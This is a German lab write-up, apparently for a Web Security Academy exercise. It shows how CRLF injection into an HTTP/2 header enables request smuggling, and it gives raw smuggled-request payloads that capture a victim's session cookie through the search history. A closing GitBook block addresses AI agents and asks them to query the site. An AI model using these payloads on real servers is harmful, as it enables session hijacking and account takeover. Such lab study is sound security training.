> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# HTTP/2-Request-Smuggling via CRLF-Injektion

### HTTP/2-Request-Smuggling per CRLF-Injektion

Dieses Labor ist anfällig für Request Smuggling, weil der Front-Server HTTP/2-Anfragen in HTTP/1 umwandelt und einige eingehende Header nicht ordnungsgemäß bereinigt.

Das Ziel ist es, einen HTTP/2-spezifischen Smuggling-Vektor auszunutzen, um auf das Konto eines anderen Benutzers zuzugreifen. Das Opfer besucht alle 15 Sekunden die Startseite.

<figure><img src="/files/1a4b24d77965746418bce9588739901b531215db" alt=""><figcaption></figcaption></figure>

Es wird beobachtet, dass die Anwendung einen Suchverlauf führt, der direkt mit dem Session-Cookie verknüpft ist.

<figure><img src="/files/cc4092b816997a13e76ba14b4776a31a7b5b250f" alt=""><figcaption></figcaption></figure>

Wir beginnen damit, eine Testanfrage zu senden, aber es tritt kein abnormales Verhalten auf

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

Die Untersuchung zeigt, dass die Validierung der Header im Zusammenhang mit **Transfer-Encoding** unzureichend ist. / Also versuchen wir, die Filterung zu umgehen: Entfernung des ursprünglichen `chunked` und Hinzufügen eines neuen beliebigen Headers in HTTP/2.

```http
Transfer-Encoding: chunked
```

Burp fügt hinzu:

```http
Name:
test
Wert:
test
Transfer-Encoding: chunked
```

<figure><img src="/files/27a79fb576b350b3eb8e375fc1f6f03252b20a69" alt="" width="358"><figcaption></figcaption></figure>

Der Server akzeptiert die Änderung und bestätigt damit eine mangelhafte Bereinigung der Header.

<figure><img src="/files/6915c0ad47767695f003e2a100952688f999360e" alt=""><figcaption></figcaption></figure>

Die Idee ist, das Opfer dazu zu bringen, **eine Suchanfrage mit unserem eigenen Session-Cookie zu stellen**, während ein übermäßiges **Content-Length** eingeschleust wird, sodass seine nächste Anfrage mit unserer zusammengefügt wird.

Eingeschleuste Nutzlast:

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

Wenn der Server die nächste Anfrage verarbeitet — die des Opfers —, erscheinen deren Inhalte in unserer Antwort und binden **ihre Header und insbesondere ihr Session-Cookie ein**.

<figure><img src="/files/a88f5b609825992de3055ecf80f6894aa7895b9b" alt=""><figcaption></figcaption></figure>

Also können wir **fliegt die Benutzersitzung** und greift auf sein Konto zu.

<figure><img src="/files/ecdfb6366212d1bdd00f9edb2ca9a22619cc1b6e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
